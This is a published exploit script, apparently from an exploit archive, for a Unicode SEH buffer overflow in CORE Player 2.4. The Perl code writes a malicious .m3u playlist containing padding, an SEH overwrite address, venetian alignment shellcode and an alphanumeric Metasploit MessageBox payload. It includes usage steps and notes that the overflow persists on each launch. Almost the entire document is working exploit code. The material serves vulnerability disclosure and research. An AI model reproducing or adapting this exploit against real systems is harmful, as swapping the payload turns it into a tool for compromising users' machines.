CORE MultiMedia Suite 2011 CORE Player 2.4 – ‘.m3u’ Local Buffer Overflow
# Exploit: CORE Multimedia Suite 2011 CORE Player 2.4 Unicode SEH Buffer Overflow Exploit (.m3u) # Date: 18.03.11 # Author: Rh0[at]z1p.biz # Software Link: http://mjm-soft.zzl.org/CORE_MMS_2011.zip # Version: 2.4 # Tested on: WinXP Pro SP3 EN (VirtualBox) ## The application does not crash immediately: ## Open Core Player, go to FILE->LOAD LIST, load the playlist and ## close the program. ==> Reopening it triggers the buffer overflow. <== ## Seems that the playlist gets saved under Load.m3l in the ## programs directory, and everytime the player is opened, the malicious ## playlist triggers the overflow. ## To be able to start the player normally, remove the Load.m3l file print " [*] Core Player 2.4 Unicode SEH Buffer Overflow Exploit [*] \n\n"; $junk = "C:\\"; $junk .= "A" x 533; # 536 bytes until nseh overwrite $nseh = "\x90\xcf"; # becomes nop; add bh,cl (pad) $seh = "\x59\x4a"; # pop;pop;ret; unicode compatible, 0x004a0059 @ core player.exe ## venetian shellcode $vSC = "\x71". # "\x58". # pop eax (eax should then be 0x0012CC14) "\x71". "\x5d". # pop ebp "\x71". "\xbb\x08\x41". # mov ebx,0x41000800 "\xf8". # add al,bh "\x71". "\xbb\x04\x41". # mov ebx,0x41000400 "\xfc". # add ah,bh (eax should now point to the payload) "\x71". "\x50". # push eax "\x71". "\xc3"; # return ## msf MessageBox alpha_mixed + unicode upper $payload = "PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI". "AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBTIK0IKXNXYT". "0L4QJPJPJPJPJPJPJPJPJPJPJPJQ3PCPCPCPCQ3P7PRQIQZQ1PXR0P0Q1P0Q1RKQ1Q1PQP". "2Q1PBP2Q2PBP0PBPBQ1Q2PXR0P8Q1Q2CEPJQ9PXPYPXRKPMPKPNP9QBPTQ5CDQ9RDR4RQP". "ZRRPOQ2PCPGPEC1PKT9R2Q4PLPKPQQQPPP0PLPKQ3Q6QDPLPLPKR1C6PGRLPLPKPRQVPVQ". "XPNRKPCPNPQP0PNRKPVPVQ5QXPPPOQ7C8R2PUPXCCR1Q9PEPQQHR1PKPOQHC1PCR0PNRKR". "0RLR1P4PGQDPLPKQ3T5Q7PLPLPKPVP4PQP8PRPXPCP1QHQZPNRKPQPZPTQHPLPKQ3QZPGP". "PPCP1PZPKPKQCQ7Q4PQPYPLPKPGQ4PLPKPGT1PZPNQ5C1PIROQFR1PKRPPKPLPNPLPOCDQ". "9R0R2QDQ3P7Q9PQQJROPTPMR6QQPOP7PZPKQJPTQ7PKPCPLQ7R4Q7QHQ3Q5PIT1PNRKR0Q". "JPVQ4QFQQQJPKPCQFPLPKPVRLPPPKPLPKPQPJQ7RLPGT1PZPKPNRKQFQTPNRKR6QQQJPHP". "KP9R2QTQ7R4PGRLPCR1POP3POQ2R4PHPVQ9PNP4PORYQHQUPLPIPIPRQ5P8PNRNR0PNR4P". "NPXRLR0PRPMP8PMPOQ9ROPKPOQ9ROPOCIPCCEQFC4PMRKQ3PNQHR8QJPBR2QCPKP7Q5PLR". "6Q4QFP2PZQ8PLPNPIROQ9ROPIROPOCIPQR5Q7T8Q5P8PPRLPPRLQ5RPPRQQPQCHR0P3R0P". "2R4RNPEP4Q5P8R4P5PCQ3R2PER0T2PLQ8R1PLPGQDQ5QJPNQYPXQVPRCFPKPOQFP5Q7CDP". "KP9PKCBQFP0POPKPNPHQ9P2PPPMPMRLPKP7PEPLPGPTPQQ2PICHQ5P1PKPOPKPOPKPOPQT". "8Q5P4PRCHPERPPQP0Q3PXPPROQ5P9QDP4PEP5PEP8PRQUPPT8R0T0QBPLPPP1Q9PKPLQ8P". "CRLR1P4PVC9PMQIQHRCR1RXR1PHPERPPET0PQP0R2Q8Q3PYR2QDPET0Q5RZPPC8R0T8R0R". "PPRPLPPROR0RHPQT4R0C5PERPPPQ5R1RXPRPNR2PIPRC3PPROQBPHQBQUQ3T8R1P0PPPUP". "EP8Q3QEQDP2Q5RPQFP3PCR8R2RPPRPLPEP1R0RYR2PHPPROQ3Q2QBQ5PERPR1CHPGPPPEC". "JR1P0R0Q3PPP1PIR9PNC8R0PLQFPDPET4PKP9PMP1QDRQPNP2QBPJPCRPQBRSPRT1R6P2Q". "9ROPNP0QFR1POP0R6P0PKPOQ3C5Q7CHQ1Q1AA"; open(F,">exploit.m3u"); $buffer .= $junk.$nseh.$seh.$vSC.$payload; print F $buffer; close(F); print " [*] Open Core Player\n"; print " [*] Load the playlist exploit.m3u \n"; print " [*] Close the program\n"; print " [*] Reopen it\n"; print " [*] A Messagebox should pop up.\n\n"; print " [*] Enter to continue [*] "; <>; |